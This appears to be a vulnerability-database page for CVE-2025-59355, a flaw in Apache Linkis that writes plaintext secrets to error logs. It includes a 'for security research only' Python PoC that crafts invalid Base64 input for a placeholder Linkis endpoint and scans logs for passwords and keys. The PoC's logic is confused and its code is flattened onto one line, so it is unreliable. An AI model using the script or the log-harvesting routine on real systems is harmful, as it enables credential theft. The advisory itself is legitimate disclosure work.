Security Vulnerability Report
中文
CVE-2025-59355 CVSS 6.5 MEDIUM

CVE-2025-59355

Published: 2026-01-19 09:16:02
Last Modified: 2026-01-27 21:11:27

Description

A vulnerability. When org.apache.linkis.metadata.util.HiveUtils.decode() fails to perform Base64 decoding, it records the complete input parameter string in the log via logger.error(str + "decode failed", e). If the input parameter contains sensitive information such as Hive Metastore keys, plaintext passwords will be left in the log files when decoding fails, resulting in information leakage. Affected Scope Component: Sensitive fields in hive-site.xml (e.g., javax.jdo.option.ConnectionPassword) or other fields encoded in Base64. Version: Apache Linkis 1.0.0 – 1.7.0 Trigger Conditions The value of the configuration item is an invalid Base64 string. Log files are readable by users other than hive-site.xml administrators. Severity: Low The probability of Base64 decoding failure is low. The leakage is only triggered when logs at the Error level are exposed. Remediation Apache Linkis 1.8.0 and later versions have replaced the log with desensitized content. logger.error("URL decode failed: {}", e.getMessage()); // 不再输出 str Users are recommended to upgrade to version 1.8.0, which fixes the issue.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:apache:linkis:*:*:*:*:*:*:*:* - VULNERABLE
Apache Linkis 1.0.0
Apache Linkis 1.1.0
Apache Linkis 1.2.0
Apache Linkis 1.3.0
Apache Linkis 1.4.0
Apache Linkis 1.5.0
Apache Linkis 1.6.0
Apache Linkis 1.7.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import base64 import requests import logging # CVE-2025-59355 PoC - Apache Linkis HiveUtils.decode() Information Disclosure # This PoC demonstrates how sensitive information can be leaked through error logs def generate_malicious_input(sensitive_info): """ Generate an invalid Base64 string containing sensitive information. This will trigger the error logging in HiveUtils.decode() """ # Create a string that looks like Base64 but is invalid # Add special characters to ensure Base64 decoding fails invalid_base64 = base64.b64encode(sensitive_info.encode()).decode() # Modify to make it invalid Base64 invalid_base64 = invalid_base64[:-1] + '!@#$%' return invalid_base64 def exploit_cve_2025_59355(target_url, sensitive_data): """ Exploit CVE-2025-59355 by injecting sensitive data into configuration that will be logged when Base64 decoding fails """ # Step 1: Generate malicious input with sensitive information malicious_input = generate_malicious_input(sensitive_data) # Step 2: Send request with malicious configuration value # This would typically be done through Linkis metadata configuration API payload = { 'metadata': { 'hive.metastore.uris': malicious_input, 'javax.jdo.option.ConnectionPassword': malicious_input } } # Example API call (would need to be adjusted based on actual endpoint) # response = requests.post(f'{target_url}/api/rest_j/v1/metastore/config', json=payload) print(f"[*] Malicious Base64 input generated: {malicious_input}") print(f"[*] When decoding fails, '{sensitive_data}' will be logged in plaintext") return malicious_input def check_leaked_logs(log_file_path, sensitive_keywords): """ Check log files for leaked sensitive information """ leaked_data = [] try: with open(log_file_path, 'r') as f: for line in f: for keyword in sensitive_keywords: if keyword in line and 'decode failed' in line: leaked_data.append(line.strip()) except FileNotFoundError: print(f"[-] Log file not found: {log_file_path}") return leaked_data if __name__ == '__main__': # Example sensitive data to exploit target = 'http://target-apache-linkis:9001' sensitive_info = 'hive_metastore_password=Admin@123!' exploit_cve_2025_59355(target, sensitive_info) # Check for leaked data in logs # logs = check_leaked_logs('/path/to/linkis/logs/metadata.log', ['password', 'secret', 'key'])

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-59355", "sourceIdentifier": "[email protected]", "published": "2026-01-19T09:16:02.107", "lastModified": "2026-01-27T21:11:27.213", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability.\n\nWhen org.apache.linkis.metadata.util.HiveUtils.decode() fails to perform Base64 decoding, it records the complete input parameter string in the log via logger.error(str + \"decode failed\", e). If the input parameter contains sensitive information such as Hive Metastore keys, plaintext passwords will be left in the log files when decoding fails, resulting in information leakage.\n\n\nAffected Scope\nComponent: Sensitive fields in hive-site.xml (e.g., javax.jdo.option.ConnectionPassword) or other fields encoded in Base64.\nVersion: Apache Linkis 1.0.0 – 1.7.0\n\n\nTrigger Conditions\nThe value of the configuration item is an invalid Base64 string.\nLog files are readable by users other than hive-site.xml administrators.\n\n\nSeverity: Low\nThe probability of Base64 decoding failure is low.\nThe leakage is only triggered when logs at the Error level are exposed.\n\nRemediation\nApache Linkis 1.8.0 and later versions have replaced the log with desensitized content.\nlogger.error(\"URL decode failed: {}\", e.getMessage()); // 不再输出 str\n\n\nUsers are recommended to upgrade to version 1.8.0, which fixes the issue."}, {"lang": "es", "value": "Una vulnerabilidad.\n\nCuando org.apache.linkis.metadata.util.HiveUtils.decode() falla al realizar la decodificación Base64, registra la cadena completa del parámetro de entrada en el log a través de logger.error(str + 'decode failed', e). Si el parámetro de entrada contiene información sensible como claves de Hive Metastore, las contraseñas en texto plano quedarán en los archivos de log cuando la decodificación falle, lo que resulta en una fuga de información.\n\nAlcance Afectado\nComponente: Campos sensibles en hive-site.xml (por ejemplo, javax.jdo.option.ConnectionPassword) u otros campos codificados en Base64.\nVersión: Apache Linkis 1.0.0 – 1.7.0\n\nCondiciones de Activación\nEl valor del elemento de configuración es una cadena Base64 inválida.\nLos archivos de log son legibles por usuarios distintos de los administradores de hive-site.xml.\n\nSeveridad: Baja\nLa probabilidad de fallo en la decodificación Base64 es baja.\nLa fuga solo se activa cuando los logs de nivel Error están expuestos.\n\nRemediación\nApache Linkis 1.8.0 y versiones posteriores han reemplazado el log con contenido desensibilizado.\nlogger.error('URL decode failed: {}', e.getMessage()); // Ya no se imprime str\n\nSe recomienda a los usuarios actualizar a la versión 1.8.0, que corrige el problema."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-532"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apache:linkis:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.0.0", "versionEndExcluding": "1.8.0", "matchCriteriaId": "42671BCA-BDD3-4D44-B2BC-5D022FD51E00"}]}]}], "references": [{"url": "https://lists.apache.org/thread/4dcgmqdkk2p5y4k43ok5rgd4ylx8698h", "source": "[email protected]", "tags": ["Mailing List"]}, {"url": "https://lists.apache.org/thread/75z7vhftw6w1mllndgpkfmcj0fzo4lbj", "source": "[email protected]", "tags": ["Mailing List"]}, {"url": "http://www.openwall.com/lists/oss-security/2025/09/19/1", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Third Party Advisory"]}]}}